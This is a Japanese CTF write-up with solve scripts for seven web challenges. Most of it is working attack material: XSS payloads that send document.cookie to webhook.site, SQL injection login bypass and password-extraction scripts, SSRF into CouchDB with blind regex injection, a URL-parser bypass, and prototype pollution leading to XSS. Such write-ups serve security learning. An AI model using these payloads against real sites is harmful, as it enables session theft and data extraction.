7/10 - 7/13という日程で開催された。zer0ptsで参加して4位。
- [Web 103] pastebin-1 (612 solves)
- [Web 104] secure (535 solves)
- [Web 122] cool (125 solves)
- [Web 175] Requester (41 solves)
- [Web 196] notes (32 solves)
- [Web 251] requester-strikes-back (19 solves)
- [Web 265] pastebin-2-social-edition (17 solves)
[Web 103] pastebin-1 (612 solves)
かんたんXSS。<script>navigator.sendBeacon('https://webhook.site/…',document.cookie)</script>
でフラグが得られる。
flag{d1dn7_n33d_70_b3_1n_ru57}
[Web 104] secure (535 solves)
かんたんSQLi。
$ curl 'https://secure.mc.ax/login' -H 'content-type: application/x-www-form-urlencoded' --data-raw "username=YQ%3D%3D&password='OR'a'<'b" Found. Redirecting to /?message=flag%7B50m37h1n6_50m37h1n6_cl13n7_n07_600d%7D
[Web 122] cool (125 solves)
INSERT
文内でSQLiできるが、50文字以下のペイロードで ginkoid
というユーザのパスワードを抜き出す必要がある。'||(select substr(password,1,1) from users)||'
というパスワードで登録すれば、ユーザ名はフォームから与えたものに、パスワードは users
の最初のレコードの (つまり ginkoid
の) パスワードの1文字目に設定される。こんな感じでn文字目のパスワードを含むユーザをSQLiで作った後、ログイン時にパスワードを総当たりすることで1文字ずつ特定できる。
ずっと select password from users
だと複数のレコードが返ってきちゃうからエラーが起こりそうなあ、でも LIMIT
句とか WHERE
句を使おうにも文字数の制限があるしなあと悩んでいたが、aventadorさんの助言のおかげでSQLiteでは users
に複数のレコードがあっても INSERT INTO users (username, password) VALUES ('user', (SELECT password FROM users))
はエラーを吐かないということに気づけた。ステレオタイプこわい。悩む前にまず試しましょう。
import requests import random allowed_characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789' def generate_token(n=32): return ''.join( random.choice(allowed_characters) for _ in range(n) ) URL = 'https://cool.mc.ax' def register(username, password): req = requests.post(URL + '/register', data={ 'username': username, 'password': password }) return 'You are logged in' in req.text def login(username, password): req = requests.post(URL, data={ 'username': username, 'password': password }) return 'You are logged in' in req.text i = 1 result = '' while True: username = generate_token() register(username, f"'||(select substr(password,{i},1) from users)||'") for c in allowed_characters: if login(username, c): result += c break else: print('done') break print(i, result) i += 1
これで eSecFnVoKUDCfGAxfHuQxuootJ6yjKX3
がパスワードだとわかる。ginkoid
としてログインするとフラグが得られる。
flag{44r0n_s4ys_s08r137y_1s_c00l}
[Web 175] Requester (41 solves)
/testAPI
にSSRFがあり、POSTメソッドでHTTPリクエストをCouchDBに送らせることができる。公式のドキュメントを参考にしながらBlind Regular Expression Injection Attackの要領でフラグが抜き出せる。
$ time curl -g 'https://requester.mc.ax/testAPI?method=POST&url=http://poyoyon:poyoyoyoyoyoyo@couchdB:5984/poyoyon/_find&data={"selector":{"flag":{"$regex":"^f(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}salt$"}}}' success real 0m3.347s user 0m0.005s sys 0m0.015s $ time curl -g 'https://requester.mc.ax/testAPI?method=POST&url=http://poyoyon:poyoyoyoyoyoyo@couchdB:5984/poyoyon/_find&data={"selector":{"flag":{"$regex":"^a(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}salt$"}}}' success real 0m0.734s user 0m0.015s sys 0m0.006s
スクリプトはこんな感じ。
import requests import json import string import time username = 'poyoyon' password = 'poyoyoyoyoyoyo' def query(known): t = time.time() data = json.dumps({ 'selector': { 'flag': { '$regex': '^' + known + '(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}salt$' } } }) req = requests.get(f'https://requester.mc.ax/testAPI?method=POST&url=http://{username}:{password}@couchdB:5984/{username}/_find&data={data}') return time.time() - t known = '' while True: for c in '_' + string.printable.strip().replace('*', '').replace('+', '').replace('?', '').replace('.', ''): if query(known + c) > 1.5: known += c break print(known)
10~20分ぐらい待つとフラグが得られる。
$ python3 solve.py f fl fla flag … flag{JaVA_tHE_GrEAteST_WeB_lANguAge_32154}
[Web 196] notes (32 solves)
tagがエスケープされていないのでXSSできるが、10文字以下に抑える必要がある。文字数の制限はあるものの、何度もコンテンツを挿入できるのでペイロードを分割してやればよい。<script>…</script>
も <img src=… onerror=…>
も文字数の調整が難しかったり、そもそも発火しなかったりするので <style onload=…></style>
でなんとかする。
以下のコードを実行して https://notes.mc.ax/view/(ユーザ名)
を報告するとadminとしてログインした状態のCookieが得られる。そのままadminの投稿したノートを見るとフラグが得られる。
async function post(data) { return fetch('/api/notes', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(data) }); } const a = [ {"body": "a", "tag": "<style a='"}, {"body": "a", "tag": "'onload='`"}, {"body": "${navigator.sendBeacon(`https://webhook.site/…`,document.cookie)}", "tag": "`'></style>"}, ]; for (const b of a) { await post(b); }
flag{w0w_4n07h3r_60lf1n6_ch4ll3n63}
[Web 251] requester-strikes-back (19 solves)
Requesterの修正版。今度は /testAPI
が以下のようにURLを厳格にチェックするようになり、couchdb
がホスト名に含まれていれば弾かれるようになってしまった。
/* 43 */ URL urlURI = new URL(url); /* 44 */ if (urlURI.getHost().toLowerCase().contains("couchdb")) /* 45 */ throw new ForbiddenResponse("Illegal!"); /* 47 */ String urlDecoded = URLDecoder.decode(url, StandardCharsets.UTF_8); /* 48 */ urlURI = new URL(urlDecoded); /* 49 */ if (urlURI.getHost().toLowerCase().contains("couchdb")) /* 50 */ throw new ForbiddenResponse("Illegal!");
couchdb
のIPアドレスを特定すればよいのかなあとか考えたが、よく考えるとA New Era of SSRFのような感じでURLパーサをごまかしてしまえばよかった。http://hoge@couchdb:5984@fuga/
を投げると、このチェックではなぜかホスト名が空文字列になるものの、その後のHTTPリクエストはちゃんと couchdb:5984
に送られる。
あとはRequesterとほぼ同じことをするだけ。ただ、なぜかBlind Regex Injection部分が動かなかった (レスポンスが返ってくる時間に差異がなかった) ので、^(既知の部分)(試す文字).*.(a*を100回繰り返す)(.*)
を投げるとなぜか正解を引き当てたときにエラーが発生するという挙動を使ってフラグを得た。
import requests import json import string username = 'nekoneko' password = 'W1t306yCryjcVGsU' def query(known): data = json.dumps({ 'selector': { 'flag': { '$regex': '^' + known + '.*.' + 'a*' * 100 + '(.*)' } } }) req = requests.get(f'https://requester-strikes-back.mc.ax/testAPI?method=POST&url=http://{username}:{password}@couchdb:5984@fuga/{username}/_find&data={data}') return 'Something went wrong' in req.text known = 'fla' while True: for c in string.printable.strip().replace('*', '').replace('+', '').replace('?', '').replace('.', ''): if query(known + c): known += c break print(known)
flag{TYp0_InsTEad_0F_JAvA_uRl_M4dN3ss_92643}
[Web 265] pastebin-2-social-edition (17 solves)
コメントができるPastebinみたいな感じ。adminにノートのURLを報告するとコメントを投稿してくれる。
innerHTML
で検索すると以下の2箇所がヒットする。使われているDOMPurifyのバージョンは2.2.9だから自分でDOMPurifyの脆弱性を見つけない限り前者は使えない。後者はコメントの投稿時にAPIがエラーを返せばその内容を出力するというものだが、エラーメッセージにはユーザ入力が含まれないし、そのままでは使えないように思える。しかし、正常にコメントが投稿された場合には error
も message
も undefined
であるから、もしPrototype PollutionができればXSSに持ち込める。
document.querySelector('.paste').innerHTML = DOMPurify.sanitize(content);
// if there's an error, show the message if (error) errorContainer.innerHTML = message; // otherwise, add the comment else { errorContainer.innerHTML = ''; addComment(author, content); }
Prototype Pollutionはここ。フォーム内の各 fieldset
について result[(fieldsetのname属性)][(inputのname属性)] = (inputのvalue)
をしているので、__proto__
という name
属性を持つ fieldset
を作ってやればPrototype Pollutionができる。
// get form data into serializable object const parseForm = (form) => { const result = {}; const fieldsets = form.querySelectorAll('fieldset'); for (const fieldset of fieldsets) { const fieldsetName = decodeURIComponent(fieldset.name); if (!result[fieldsetName]) result[fieldsetName] = {}; const inputs = fieldset.querySelectorAll('[name]'); for (const input of inputs) { const inputName = decodeURIComponent(input.name); const inputValue = decodeURIComponent(input.value); result[fieldsetName][inputName] = inputValue; } } return result; };
以下のような内容のノートを作ってやってadminに報告するとフラグが得られた。
<form> <fieldset name="__proto_%255f"> <input name="error" value="a"> <input name="message" value="<img src=x onerror='navigator.sendBeacon(`https://webhook.site/…`,document.cookie)'>"> </fieldset> <fieldset name="params"> <input name="author"> <input name="content"> <input type="submit"> </fieldset> </form>
flag{m4yb3_ju57_a_l177l3_5u5p1c10u5}